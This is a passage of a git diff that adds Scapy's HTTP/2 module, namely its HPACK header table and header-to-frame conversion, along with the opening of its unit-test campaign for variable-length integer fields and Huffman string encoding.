return config.conf.padding_layer + + def extract_padding(self, s): + # type: (str) -> Tuple[str, str] + """ + :param str s: the string from which to tell the padding and the payload data apart # noqa: E501 + :return: (str, str): the padding and the payload data strings + :raises: AssertionError + """ + assert isinstance(self.len, six.integer_types) and self.len >= 0, 'Invalid length: negative len?' # noqa: E501 + assert len(s) >= self.len, 'Invalid length: string too short for this length' # noqa: E501 + return s[:self.len], s[self.len:] + + def post_build(self, p, pay): + # type: (str, str) -> str + """ + :param str p: the stringified packet + :param str pay: the stringified payload + :return: str: the stringified packet and payload, with the packet length field "patched" # noqa: E501 + :raises: AssertionError + """ + # This logic, while awkward in the post_build and more reasonable in + # a self_build is implemented here for performance tricks reason + if self.getfieldval('len') is None: + assert(len(pay) < (1 << 24)), 'Invalid length: payload is too long' + p = struct.pack('!L', len(pay))[1:] + p[3:] + return super(H2Frame, self).post_build(p, pay) + + +class H2Seq(packet.Packet): + """ H2Seq is a helper packet that contains several H2Frames and their + payload. This packet can be used, for instance, while reading manually from + a TCP socket. + """ + name = 'HTTP/2 Frame Sequence' + fields_desc = [ + fields.PacketListField('frames', [], H2Frame) + ] + + def guess_payload_class(self, payload): + # type: (str) -> Packet_metaclass + return config.conf.padding_layer + + +packet.bind_layers(H2Frame, H2DataFrame, {'type': H2DataFrame.type_id}) +packet.bind_layers(H2Frame, H2PaddedDataFrame, {'type': H2DataFrame.type_id}) +packet.bind_layers(H2Frame, H2HeadersFrame, {'type': H2HeadersFrame.type_id}) +packet.bind_layers(H2Frame, H2PaddedHeadersFrame, {'type': H2HeadersFrame.type_id}) # noqa: E501 +packet.bind_layers(H2Frame, H2PriorityHeadersFrame, {'type': H2HeadersFrame.type_id}) # noqa: E501 +packet.bind_layers(H2Frame, H2PaddedPriorityHeadersFrame, {'type': H2HeadersFrame.type_id}) # noqa: E501 +packet.bind_layers(H2Frame, H2PriorityFrame, {'type': H2PriorityFrame.type_id}) +packet.bind_layers(H2Frame, H2ResetFrame, {'type': H2ResetFrame.type_id}) +packet.bind_layers(H2Frame, H2SettingsFrame, {'type': H2SettingsFrame.type_id}) +packet.bind_layers(H2Frame, H2PingFrame, {'type': H2PingFrame.type_id}) +packet.bind_layers(H2Frame, H2PushPromiseFrame, {'type': H2PushPromiseFrame.type_id}) # noqa: E501 +packet.bind_layers(H2Frame, H2PaddedPushPromiseFrame, {'type': H2PaddedPushPromiseFrame.type_id}) # noqa: E501 +packet.bind_layers(H2Frame, H2GoAwayFrame, {'type': H2GoAwayFrame.type_id}) +packet.bind_layers(H2Frame, H2WindowUpdateFrame, {'type': H2WindowUpdateFrame.type_id}) # noqa: E501 +packet.bind_layers(H2Frame, H2ContinuationFrame, {'type': H2ContinuationFrame.type_id}) # noqa: E501 + + +# HTTP/2 Connection Preface # # noqa: E501 +# From RFC 7540 par3.5 +H2_CLIENT_CONNECTION_PREFACE = bytes_hex('505249202a20485454502f322e300d0a0d0a534d0d0a0d0a') # noqa: E501 + + +############################################################################### +# HTTP/2 Helpers # +############################################################################### + +class HPackHdrEntry(Sized): + """ HPackHdrEntry is an entry of the HPackHdrTable helper + + Each HPackHdrEntry instance is a header line (name and value). Names are + normalized (lowercase), according to RFC 7540 par8.1.2 + """ + __slots__ = ['_name', '_len', '_value'] + + def __init__(self, name, value): + # type: (str, str) -> None + """ + :raises: AssertionError + """ + assert(len(name) > 0) + + self._name = name.lower() + self._value = value + + # 32 bytes is an RFC-hardcoded value: see RFC 7541 par4.1 + self._len = (32 + len(self._name) + len(self._value)) + + def name(self): + # type: () -> str + return self._name + + def value(self): + # type: () -> str + return self._value + + def size(self): + # type: () -> int + """ size returns the "length" of the header entry, as defined in + RFC 7541 par4.1. + """ + return self._len + + __len__ = size + + def __str__(self): + # type: () -> str + """ __str__ returns the header as it would be formatted in textual format + """ + if self._name.startswith(':'): + return "{} {}".format(self._name, self._value) + else: + return "{}: {}".format(self._name, self._value) + + def __bytes__(self): + return bytes_encode(self.__str__()) + + +class HPackHdrTable(Sized): + """ HPackHdrTable is a helper class that implements some of the logic + associated with indexing of headers (read and write operations in this + "registry". THe HPackHdrTable also implements convenience functions to easily # noqa: E501 + convert to and from textual representation and binary representation of + a HTTP/2 requests + """ + __slots__ = [ + '_dynamic_table', + '_dynamic_table_max_size', + '_dynamic_table_cap_size', + '_regexp' + ] + """ + :var _dynamic_table: the list containing entries requested to be added by + the peer and registered with a register() call + :var _dynamic_table_max_size: the current maximum size of the dynamic table + in bytes. This value is updated with the Dynamic Table Size Update + messages defined in RFC 7541 par6.3 + :var _dynamic_table_cap_size: the maximum size of the dynamic table in + bytes. This value is updated with the SETTINGS_HEADER_TABLE_SIZE HTTP/2 + setting. + """ + + # Manually imported from RFC 7541 Appendix A + _static_entries = { + 1: HPackHdrEntry(':authority', ''), + 2: HPackHdrEntry(':method', 'GET'), + 3: HPackHdrEntry(':method', 'POST'), + 4: HPackHdrEntry(':path', '/'), + 5: HPackHdrEntry(':path', '/index.html'), + 6: HPackHdrEntry(':scheme', 'http'), + 7: HPackHdrEntry(':scheme', 'https'), + 8: HPackHdrEntry(':status', '200'), + 9: HPackHdrEntry(':status', '204'), + 10: HPackHdrEntry(':status', '206'), + 11: HPackHdrEntry(':status', '304'), + 12: HPackHdrEntry(':status', '400'), + 13: HPackHdrEntry(':status', '404'), + 14: HPackHdrEntry(':status', '500'), + 15: HPackHdrEntry('accept-charset', ''), + 16: HPackHdrEntry('accept-encoding', 'gzip, deflate'), + 17: HPackHdrEntry('accept-language', ''), + 18: HPackHdrEntry('accept-ranges', ''), + 19: HPackHdrEntry('accept', ''), + 20: HPackHdrEntry('access-control-allow-origin', ''), + 21: HPackHdrEntry('age', ''), + 22: HPackHdrEntry('allow', ''), + 23: HPackHdrEntry('authorization', ''), + 24: HPackHdrEntry('cache-control', ''), + 25: HPackHdrEntry('content-disposition', ''), + 26: HPackHdrEntry('content-encoding', ''), + 27: HPackHdrEntry('content-language', ''), + 28: HPackHdrEntry('content-length', ''), + 29: HPackHdrEntry('content-location', ''), + 30: HPackHdrEntry('content-range', ''), + 31: HPackHdrEntry('content-type', ''), + 32: HPackHdrEntry('cookie', ''), + 33: HPackHdrEntry('date', ''), + 34: HPackHdrEntry('etag', ''), + 35: HPackHdrEntry('expect', ''), + 36: HPackHdrEntry('expires', ''), + 37: HPackHdrEntry('from', ''), + 38: HPackHdrEntry('host', ''), + 39: HPackHdrEntry('if-match', ''), + 40: HPackHdrEntry('if-modified-since', ''), + 41: HPackHdrEntry('if-none-match', ''), + 42: HPackHdrEntry('if-range', ''), + 43: HPackHdrEntry('if-unmodified-since', ''), + 44: HPackHdrEntry('last-modified', ''), + 45: HPackHdrEntry('link', ''), + 46: HPackHdrEntry('location', ''), + 47: HPackHdrEntry('max-forwards', ''), + 48: HPackHdrEntry('proxy-authenticate', ''), + 49: HPackHdrEntry('proxy-authorization', ''), + 50: HPackHdrEntry('range', ''), + 51: HPackHdrEntry('referer', ''), + 52: HPackHdrEntry('refresh', ''), + 53: HPackHdrEntry('retry-after', ''), + 54: HPackHdrEntry('server', ''), + 55: HPackHdrEntry('set-cookie', ''), + 56: HPackHdrEntry('strict-transport-security', ''), + 57: HPackHdrEntry('transfer-encoding', ''), + 58: HPackHdrEntry('user-agent', ''), + 59: HPackHdrEntry('vary', ''), + 60: HPackHdrEntry('via', ''), + 61: HPackHdrEntry('www-authenticate', ''), + } + + # The value of this variable cannot be determined at declaration time. It is # noqa: E501 + # initialized by an init_static_table call + _static_entries_last_idx = None # type: int + + @classmethod + def init_static_table(cls): + # type: () -> None + cls._static_entries_last_idx = max(cls._static_entries) + + def __init__(self, dynamic_table_max_size=4096, dynamic_table_cap_size=4096): # noqa: E501 + # type: (int, int) -> None + """ + :param int dynamic_table_max_size: the current maximum size of the dynamic entry table in bytes # noqa: E501 + :param int dynamic_table_cap_size: the maximum-maximum size of the dynamic entry table in bytes # noqa: E501 + :raises:s AssertionError + """ + self._regexp = None # type: Pattern + if isinstance(type(self)._static_entries_last_idx, type(None)): + type(self).init_static_table() + + assert dynamic_table_max_size <= dynamic_table_cap_size, \ + 'EINVAL: dynamic_table_max_size too large; expected value is less or equal to dynamic_table_cap_size' # noqa: E501 + + self._dynamic_table = [] # type: List[HPackHdrEntry] + self._dynamic_table_max_size = dynamic_table_max_size + self._dynamic_table_cap_size = dynamic_table_cap_size + + def __getitem__(self, idx): + # type: (int) -> HPackHdrEntry + """Gets an element from the header tables (static or dynamic indifferently) + + :param int idx: the index number of the entry to retrieve. If the index + value is superior to the last index of the static entry table, then the + dynamic entry type is requested, following the procedure described in + RFC 7541 par2.3.3 + :return: HPackHdrEntry: the entry defined at this requested index. If the entry does not exist, KeyError is # noqa: E501 + raised + :raises: KeyError, AssertionError + """ + assert(idx >= 0) + if idx > type(self)._static_entries_last_idx: + idx -= type(self)._static_entries_last_idx + 1 + if idx >= len(self._dynamic_table): + raise KeyError( + 'EINVAL: idx: out-of-bound read: {}; maximum index: {}'.format(idx, len(self._dynamic_table)) # noqa: E501 + ) + return self._dynamic_table[idx] + return type(self)._static_entries[idx] + + def resize(self, ns): + # type: (int) -> None + """Resize the dynamic table. If the new size (ns) must be between 0 and + the cap size. If the new size is lower than the current size of the + dynamic table, entries are evicted. + :param int ns: the new size of the dynamic table + :raises: AssertionError + """ + assert 0 <= ns <= self._dynamic_table_cap_size, \ + 'EINVAL: ns: out-of-range value; expected value is in the range [0;{}['.format(self._dynamic_table_cap_size) # noqa: E501 + + old_size = self._dynamic_table_max_size + self._dynamic_table_max_size = ns + if old_size > self._dynamic_table_max_size: + self._reduce_dynamic_table() + + def recap(self, nc): + # type: (int) -> None + """recap changes the maximum size limit of the dynamic table. It also + proceeds to a resize(), if the new size is lower than the previous one. + :param int nc: the new cap of the dynamic table (that is the maximum-maximum size) # noqa: E501 + :raises: AssertionError + """ + assert(nc >= 0) + t = self._dynamic_table_cap_size > nc + self._dynamic_table_cap_size = nc + + if t: + # The RFC is not clear about whether this resize should happen; + # we do it anyway + self.resize(nc) + + def _reduce_dynamic_table(self, new_entry_size=0): + # type: (int) -> None + """_reduce_dynamic_table evicts entries from the dynamic table until it + fits in less than the current size limit. The optional parameter, + new_entry_size, allows the resize to happen so that a new entry of this + size fits in. + :param int new_entry_size: if called before adding a new entry, the size of the new entry in bytes (following # noqa: E501 + the RFC7541 definition of the size of an entry) + :raises: AssertionError + """ + assert(new_entry_size >= 0) + cur_sz = len(self) + dyn_tbl_sz = len(self._dynamic_table) + while dyn_tbl_sz > 0 and cur_sz + new_entry_size > self._dynamic_table_max_size: # noqa: E501 + last_elmt_sz = len(self._dynamic_table[-1]) + self._dynamic_table.pop() + dyn_tbl_sz -= 1 + cur_sz -= last_elmt_sz + + def register(self, hdrs): + # type: (Union[HPackLitHdrFldWithIncrIndexing, H2Frame, List[HPackHeaders]]) -> None # noqa: E501 + """register adds to this table the instances of + HPackLitHdrFldWithIncrIndexing provided as parameters. + + A H2Frame with a H2HeadersFrame payload can be provided, as much as a + python list of HPackHeaders or a single HPackLitHdrFldWithIncrIndexing + instance. + :param HPackLitHdrFldWithIncrIndexing|H2Frame|list of HPackHeaders hdrs: the header(s) to register # noqa: E501 + :raises: AssertionError + """ + if isinstance(hdrs, H2Frame): + hdrs = [hdr for hdr in hdrs.payload.hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)] # noqa: E501 + elif isinstance(hdrs, HPackLitHdrFldWithIncrIndexing): + hdrs = [hdrs] + else: + hdrs = [hdr for hdr in hdrs if isinstance(hdr, HPackLitHdrFldWithIncrIndexing)] # noqa: E501 + + for hdr in hdrs: + if hdr.index == 0: + hdr_name = hdr.hdr_name.getfieldval('data').origin() + else: + idx = int(hdr.index) + hdr_name = self[idx].name() + hdr_value = hdr.hdr_value.getfieldval('data').origin() + + # Note: we do not delete any existing hdrentry with the same names + # and values, as dictated by RFC 7541 par2.3.2 + + entry = HPackHdrEntry(hdr_name, hdr_value) + # According to RFC7541 par4.4, "Before a new entry is added to + # the dynamic table, entries are evicted + # from the end of the dynamic table until the size of the dynamic + # table is less than or equal to (maximum size - new entry size) + # or until the table is empty" + # Also, "It is not an error to attempt to add an entry that is + # larger than the maximum size; an attempt to add an entry larger + # than the maximum size causes the table to be emptied of all + # existing entries and results in an empty table" + # For this reason, we first call the _reduce_dynamic_table and + # then throw an assertion error if the new entry does not fit in + new_entry_len = len(entry) + self._reduce_dynamic_table(new_entry_len) + assert(new_entry_len <= self._dynamic_table_max_size) + self._dynamic_table.insert(0, entry) + + def get_idx_by_name(self, name): + # type: (str) -> Optional[int] + """ get_idx_by_name returns the index of a matching registered header + + This implementation will prefer returning a static entry index whenever + possible. If multiple matching header name are found in the static + table, there is insurance that the first entry (lowest index number) + will be returned. + If no matching header is found, this method returns None. + """ + name = name.lower() + for key, val in six.iteritems(type(self)._static_entries): + if val.name() == name: + return key + for idx, val in enumerate(self._dynamic_table): + if val.name() == name: + return type(self)._static_entries_last_idx + idx + 1 + return None + + def get_idx_by_name_and_value(self, name, value): + # type: (str, str) -> Optional[int] + """ get_idx_by_name_and_value returns the index of a matching registered + header + + This implementation will prefer returning a static entry index whenever + possible. If multiple matching headers are found in the dynamic table, + the lowest index is returned + If no matching header is found, this method returns None. + """ + name = name.lower() + for key, val in six.iteritems(type(self)._static_entries): + if val.name() == name and val.value() == value: + return key + for idx, val in enumerate(self._dynamic_table): + if val.name() == name and val.value() == value: + return type(self)._static_entries_last_idx + idx + 1 + return None + + def __len__(self): + # type: () -> int + """ __len__ returns the summed length of all dynamic entries + """ + return sum(len(x) for x in self._dynamic_table) + + def gen_txt_repr(self, hdrs, register=True): + # type: (Union[H2Frame, List[HPackHeaders]], Optional[bool]) -> str + """ + gen_txt_repr returns a "textual" representation of the provided + headers. + The output of this function is compatible with the input of + parse_txt_hdrs. + + :param H2Frame|list of HPackHeaders hdrs: the list of headers to + convert to textual representation. + :param bool: whether incremental headers should be added to the dynamic + table as we generate the text representation + :return: str: the textual representation of the provided headers + :raises: AssertionError + """ + lst = [] + if isinstance(hdrs, H2Frame): + hdrs = hdrs.payload.hdrs + + for hdr in hdrs: + try: + if isinstance(hdr, HPackIndexedHdr): + lst.append('{}'.format(self[hdr.index])) + elif isinstance(hdr, ( + HPackLitHdrFldWithIncrIndexing, + HPackLitHdrFldWithoutIndexing + )): + if hdr.index != 0: + name = self[hdr.index].name() + else: + name = hdr.hdr_name.getfieldval('data').origin() + if name.startswith(':'): + lst.append( + '{} {}'.format( + name, + hdr.hdr_value.getfieldval('data').origin() + ) + ) + else: + lst.append( + '{}: {}'.format( + name, + hdr.hdr_value.getfieldval('data').origin() + ) + ) + if register and isinstance(hdr, HPackLitHdrFldWithIncrIndexing): # noqa: E501 + self.register(hdr) + except KeyError as e: # raised when an index is out-of-bound + print(e) + continue + return '\n'.join(lst) + + @staticmethod + def _optimize_header_length_and_packetify(s): + # type: (str) -> HPackHdrString + zs = HPackZString(s) + if len(zs) >= len(s): + return HPackHdrString(data=HPackLiteralString(s)) + return HPackHdrString(data=zs) + + def _convert_a_header_to_a_h2_header(self, hdr_name, hdr_value, is_sensitive, should_index): # noqa: E501 + # type: (str, str, Callable[[str, str], bool], Callable[[str], bool]) -> Tuple[HPackHeaders, int] # noqa: E501 + """ _convert_a_header_to_a_h2_header builds a HPackHeaders from a header + name and a value. It returns a HPackIndexedHdr whenever possible. If not, # noqa: E501 + it returns a HPackLitHdrFldWithoutIndexing or a + HPackLitHdrFldWithIncrIndexing, based on the should_index callback. + HPackLitHdrFldWithoutIndexing is forced if the is_sensitive callback + returns True and its never_index bit is set. + """ + + # If both name and value are already indexed + idx = self.get_idx_by_name_and_value(hdr_name, hdr_value) + if idx is not None: + return HPackIndexedHdr(index=idx), len(self[idx]) + + # The value is not indexed for this headers + + _hdr_value = self._optimize_header_length_and_packetify(hdr_value) + + # Searching if the header name is indexed + idx = self.get_idx_by_name(hdr_name) + if idx is not None: + if is_sensitive( + hdr_name, + _hdr_value.getfieldval('data').origin() + ): + return HPackLitHdrFldWithoutIndexing( + never_index=1, + index=idx, + hdr_value=_hdr_value + ), len( + HPackHdrEntry( + self[idx].name(), + _hdr_value.getfieldval('data').origin() + ) + ) + if should_index(hdr_name): + return HPackLitHdrFldWithIncrIndexing( + index=idx, + hdr_value=_hdr_value + ), len( + HPackHdrEntry( + self[idx].name(), + _hdr_value.getfieldval('data').origin() + ) + ) + return HPackLitHdrFldWithoutIndexing( + index=idx, + hdr_value=_hdr_value + ), len( + HPackHdrEntry( + self[idx].name(), + _hdr_value.getfieldval('data').origin() + ) + ) + + _hdr_name = self._optimize_header_length_and_packetify(hdr_name) + + if is_sensitive( + _hdr_name.getfieldval('data').origin(), + _hdr_value.getfieldval('data').origin() + ): + return HPackLitHdrFldWithoutIndexing( + never_index=1, + index=0, + hdr_name=_hdr_name, + hdr_value=_hdr_value + ), len( + HPackHdrEntry( + _hdr_name.getfieldval('data').origin(), + _hdr_value.getfieldval('data').origin() + ) + ) + if should_index(_hdr_name.getfieldval('data').origin()): + return HPackLitHdrFldWithIncrIndexing( + index=0, + hdr_name=_hdr_name, + hdr_value=_hdr_value + ), len( + HPackHdrEntry( + _hdr_name.getfieldval('data').origin(), + _hdr_value.getfieldval('data').origin() + ) + ) + return HPackLitHdrFldWithoutIndexing( + index=0, + hdr_name=_hdr_name, + hdr_value=_hdr_value + ), len( + HPackHdrEntry( + _hdr_name.getfieldval('data').origin(), + _hdr_value.getfieldval('data').origin() + ) + ) + + def _parse_header_line(self, l): + # type: (str) -> Union[Tuple[None, None], Tuple[str, str]] + + if self._regexp is None: + self._regexp = re.compile(br'^(?::([a-z\-0-9]+)|([a-z\-0-9]+):)\s+(.+)$') # noqa: E501 + + hdr_line = l.rstrip() + grp = self._regexp.match(hdr_line) + + if grp is None or len(grp.groups()) != 3: + return None, None + + if grp.group(1) is not None: + hdr_name = b':' + grp.group(1) + else: + hdr_name = grp.group(2) + return plain_str(hdr_name.lower()), plain_str(grp.group(3)) + + def parse_txt_hdrs(self, + s, # type: str + stream_id=1, # type: int + body=None, # type: Optional[str] + max_frm_sz=4096, # type: int + max_hdr_lst_sz=0, # type: int + is_sensitive=lambda n, v: False, # type: Callable[[str, str], bool] # noqa: E501 + should_index=lambda x: False, # type: Callable[[str], bool] # noqa: E501 + register=True, # type: bool + ): + # type: (...) -> H2Seq + """ + parse_txt_hdrs parses headers expressed in text and converts them + into a series of H2Frames with the "correct" flags. A body can be + provided in which case, the data frames are added, bearing the End + Stream flag, instead of the H2HeadersFrame/H2ContinuationFrame. + The generated frames may respect max_frm_sz (SETTINGS_MAX_FRAME_SIZE) + and max_hdr_lst_sz (SETTINGS_MAX_HEADER_LIST_SIZE) if provided. + The headers are split into multiple headers fragment (and H2Frames) + to respect these limits. Also, a callback can be provided to tell if + a header should be never indexed (sensitive headers, such as cookies), + and another callback say if the header should be registered into the + index table at all. + For an header to be registered, the is_sensitive callback must return + False AND the should_index callback should return True. This is the + default behavior. + + :param str s: the string to parse for headers + :param int stream_id: the stream id to use in the generated H2Frames + :param str/None body: the eventual body of the request, that is added + to the generated frames + :param int max_frm_sz: the maximum frame size. This is used to split + the headers and data frames according to the maximum frame size + negotiated for this connection. + :param int max_hdr_lst_sz: the maximum size of a "header fragment" as + defined in RFC7540 + :param callable is_sensitive: callback that returns True if the + provided header is sensible and must be stored in a header packet + requesting this header never to be indexed + :param callable should_index: callback that returns True if the + provided header should be stored in a header packet requesting + indexation in the dynamic header table. + :param bool register: whether to register new headers with incremental + indexing as we parse them + :raises: Exception + """ + + sio = BytesIO(s) + + base_frm_len = len(raw(H2Frame())) + + ret = H2Seq() + cur_frm = H2HeadersFrame() # type: Union[H2HeadersFrame, H2ContinuationFrame] # noqa: E501 + cur_hdr_sz = 0 + + # For each line in the headers str to parse + for hdr_line in sio: + hdr_name, hdr_value = self._parse_header_line(hdr_line) + if hdr_name is None: + continue + + new_hdr, new_hdr_len = self._convert_a_header_to_a_h2_header( + hdr_name, hdr_value, is_sensitive, should_index + ) + new_hdr_bin_len = len(raw(new_hdr)) + + if register and isinstance(new_hdr, HPackLitHdrFldWithIncrIndexing): # noqa: E501 + self.register(new_hdr) + + # The new header binary length (+ base frame size) must not exceed + # the maximum frame size or it will just never fit. Also, the + # header entry length (as specified in RFC7540 par6.5.2) must not + # exceed the maximum length of a header fragment or it will just + # never fit + if (new_hdr_bin_len + base_frm_len > max_frm_sz or + (max_hdr_lst_sz != 0 and new_hdr_len > max_hdr_lst_sz)): + raise Exception('Header too long: {}'.format(hdr_name)) + + if (max_frm_sz < len(raw(cur_frm)) + base_frm_len + new_hdr_len or + ( + max_hdr_lst_sz != 0 and + max_hdr_lst_sz < cur_hdr_sz + new_hdr_len + ) + ): + flags = set() + if isinstance(cur_frm, H2HeadersFrame) and not body: + flags.add('ES') + ret.frames.append(H2Frame(stream_id=stream_id, flags=flags) / cur_frm) # noqa: E501 + cur_frm = H2ContinuationFrame() + cur_hdr_sz = 0 + + hdr_list = cur_frm.hdrs + hdr_list += new_hdr + cur_hdr_sz += new_hdr_len + + flags = {'EH'} + if isinstance(cur_frm, H2HeadersFrame) and not body: + flags.add('ES') + ret.frames.append(H2Frame(stream_id=stream_id, flags=flags) / cur_frm) + + if body: + base_data_frm_len = len(raw(H2DataFrame())) + sio = BytesIO(body) + frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len) + while frgmt: + nxt_frgmt = sio.read(max_frm_sz - base_data_frm_len - base_frm_len) # noqa: E501 + flags = set() + if len(nxt_frgmt) == 0: + flags.add('ES') + ret.frames.append( + H2Frame(stream_id=stream_id, flags=flags) / H2DataFrame(data=frgmt) # noqa: E501 + ) + frgmt = nxt_frgmt + return ret diff --git a/libs/scapy/contrib/http2.uts b/libs/scapy/contrib/http2.uts new file mode 100755 index 0000000..96150f2 --- /dev/null +++ b/libs/scapy/contrib/http2.uts @@ -0,0 +1,2319 @@ +% HTTP/2 Campaign +# Frames expressed as binary str were generated using the solicit and hpack-rs +# Rust crates (https://github.com/mlalic/solicit, https://github.com/mlalic/hpack-rs) +# except Continuation Frames, Priority Frames and Push Promise Frames that we generated +# using Go x/net/http2 and x/net/http2/hpack modules. + ++ Syntax check += Configuring Scapy +~ http2 frame hpack build dissect data headers priority settings rststream pushpromise ping goaway winupdate continuation hpackhdrtable helpers + +import scapy.config +scapy.config.conf.debug_dissector=True +import scapy.packet +import scapy.fields +import scapy.contrib.http2 as h2 +import re +flags_bit_pattern = re.compile(r'''^\s+flags\s+=\s+\[.*['"]bit [0-9]+['"].*\]$''', re.M) +def expect_exception(e, c): + try: + eval(c) + return False + except e: + return True + ++ HTTP/2 UVarIntField Test Suite + += HTTP/2 UVarIntField.any2i +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 5) +expect_exception(AssertionError, 'f.any2i(None, None)') +assert(f.any2i(None, 0) == 0) +assert(f.any2i(None, 3) == 3) +assert(f.any2i(None, 1<<5) == 1<<5) +assert(f.any2i(None, 1<<16) == 1<<16) +f = h2.UVarIntField('value', 0, 8) +assert(f.any2i(None, b'\x1E') == 30) + += HTTP/2 UVarIntField.m2i on full byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 8) +assert(f.m2i(None, b'\x00') == 0) +assert(f.m2i(None, b'\x03') == 3) +assert(f.m2i(None, b'\xFE') == 254) +assert(f.m2i(None, b'\xFF\x00') == 255) +assert(f.m2i(None, b'\xFF\xFF\x03') == 766) #0xFF + (0xFF ^ 0x80) + (3<<7) + += HTTP/2 UVarIntField.m2i on partial byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 5) +assert(f.m2i(None, (b'\x00', 3)) == 0) +assert(f.m2i(None, (b'\x03', 3)) == 3) +assert(f.m2i(None, (b'\x1e', 3)) == 30) +assert(f.m2i(None, (b'\x1f\x00', 3)) == 31) +assert(f.m2i(None, (b'\x1f\xe1\xff\x03', 3)) == 65536) + += HTTP/2 UVarIntField.getfield on full byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 8) + +r = f.getfield(None, b'\x00\x00') +assert(r[0] == b'\x00') +assert(r[1] == 0) + +r = f.getfield(None, b'\x03\x00') +assert(r[0] == b'\x00') +assert(r[1] == 3) + +r = f.getfield(None, b'\xFE\x00') +assert(r[0] == b'\x00') +assert(r[1] == 254) + +r = f.getfield(None, b'\xFF\x00\x00') +assert(r[0] == b'\x00') +assert(r[1] == 255) + +r = f.getfield(None, b'\xFF\xFF\x03\x00') +assert(r[0] == b'\x00') +assert(r[1] == 766) + += HTTP/2 UVarIntField.getfield on partial byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 5) + +r = f.getfield(None, (b'\x00\x00', 3)) +assert(r[0] == b'\x00') +assert(r[1] == 0) + +r = f.getfield(None, (b'\x03\x00', 3)) +assert(r[0] == b'\x00') +assert(r[1] == 3) + +r = f.getfield(None, (b'\x1e\x00', 3)) +assert(r[0] == b'\x00') +assert(r[1] == 30) + +r = f.getfield(None, (b'\x1f\x00\x00', 3)) +assert(r[0] == b'\x00') +assert(r[1] == 31) + +r = f.getfield(None, (b'\x1f\xe1\xff\x03\x00', 3)) +assert(r[0] == b'\x00') +assert(r[1] == 65536) + += HTTP/2 UVarIntField.i2m on full byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 8) +assert(f.i2m(None, 0) == b'\x00') +assert(f.i2m(None, 3) == b'\x03') +assert(f.i2m(None, 254).lower() == b'\xfe') +assert(f.i2m(None, 255).lower() == b'\xff\x00') +assert(f.i2m(None, 766).lower() == b'\xff\xff\x03') + += HTTP/2 UVarIntField.i2m on partial byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 5) +assert(f.i2m(None, 0) == b'\x00') +assert(f.i2m(None, 3) == b'\x03') +assert(f.i2m(None, 30).lower() == b'\x1e') +assert(f.i2m(None, 31).lower() == b'\x1f\x00') +assert(f.i2m(None, 65536).lower() == b'\x1f\xe1\xff\x03') + += HTTP/2 UVarIntField.addfield on full byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 8) + +assert(f.addfield(None, b'Toto', 0) == b'Toto\x00') +assert(f.addfield(None, b'Toto', 3) == b'Toto\x03') +assert(f.addfield(None, b'Toto', 254).lower() == b'toto\xfe') +assert(f.addfield(None, b'Toto', 255).lower() == b'toto\xff\x00') +assert(f.addfield(None, b'Toto', 766).lower() == b'toto\xff\xff\x03') + += HTTP/2 UVarIntField.addfield on partial byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 5) + +assert(f.addfield(None, (b'Toto', 3, 4), 0) == b'Toto\x80') +assert(f.addfield(None, (b'Toto', 3, 4), 3) == b'Toto\x83') +assert(f.addfield(None, (b'Toto', 3, 4), 30).lower() == b'toto\x9e') +assert(f.addfield(None, (b'Toto', 3, 4), 31).lower() == b'toto\x9f\x00') +assert(f.addfield(None, (b'Toto', 3, 4), 65536).lower() == b'toto\x9f\xe1\xff\x03') + += HTTP/2 UVarIntField.i2len on full byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 8) + +assert(f.i2len(None, 0) == 1) +assert(f.i2len(None, 3) == 1) +assert(f.i2len(None, 254) == 1) +assert(f.i2len(None, 255) == 2) +assert(f.i2len(None, 766) == 3) + += HTTP/2 UVarIntField.i2len on partial byte +~ http2 frame field uvarintfield + +f = h2.UVarIntField('value', 0, 5) + +assert(f.i2len(None, 0) == 1) +assert(f.i2len(None, 3) == 1) +assert(f.i2len(None, 30) == 1) +assert(f.i2len(None, 31) == 2) +assert(f.i2len(None, 65536) == 4) + ++ HTTP/2 FieldUVarLenField Test Suite + += HTTP/2 FieldUVarLenField.i2m without adjustment +~ http2 frame field fielduvarlenfield + + +f = h2.FieldUVarLenField('len', None, 8, length_of='data') +class TrivialPacket(Packet): + name = 'Trivial Packet' + fields_desc= [ + f, + StrField('data', '') + ] + +assert(f.i2m(TrivialPacket(data='a'*5), None) == b'\x05') +assert(f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\xff\x00') +assert(f.i2m(TrivialPacket(data='a'), 2) == b'\x02') +assert(f.i2m(None, 2) == b'\x02') +assert(f.i2m(None, 0) == b'\x00') + += HTTP/2 FieldUVarLenField.i2m with adjustment +~ http2 frame field fielduvarlenfield + +class TrivialPacket(Packet): + name = 'Trivial Packet' + fields_desc= [ + f, + StrField('data', '') + ] + +f = h2.FieldUVarLenField('value', None, 8, length_of='data', adjust=lambda x: x-1) +assert(f.i2m(TrivialPacket(data='a'*5), None) == b'\x04') +assert(f.i2m(TrivialPacket(data='a'*255), None).lower() == b'\xfe') +#Adjustment does not affect non-None value! +assert(f.i2m(TrivialPacket(data='a'*3), 2) == b'\x02') + ++ HTTP/2 HPackZString Test Suite + += HTTP/2 HPackZString Compression +~ http2 hpack huffman + +string = 'Test' +s = h2.HPackZString(string) +assert(len(s) == 3) +assert(raw(s) == b"\xdeT'") +assert(s.origin() == string) + +string = 'a'*65535 +s = h2.HPackZString(string) +assert(len(s) == 40960) +assert(raw(s) == (b'\x18\xc61\x8cc' * 8191) + b'\x18\xc61\x8c\x7f') +assert(s.origin() == string) + += HTTP/2 HPackZString Decompression +~ http2 hpack huffman + +s = b"\xdeT'" +i, ibl = h2.HPackZString.huffman_conv2bitstring(s) +assert(b'Test' == h2.HPackZString.huffman_decode(i, ibl)) + +s = (b'\x18\xc61\x8cc' * 8191) + b'\x18\xc61\x8c\x7f' +i, ibl = h2.HPackZString.huffman_conv2bitstring(s) +assert(b'a'*65535 == h2.HPackZString.huffman_decode(i, ibl)) + +assert( + expect_exception(h2.InvalidEncodingException, + 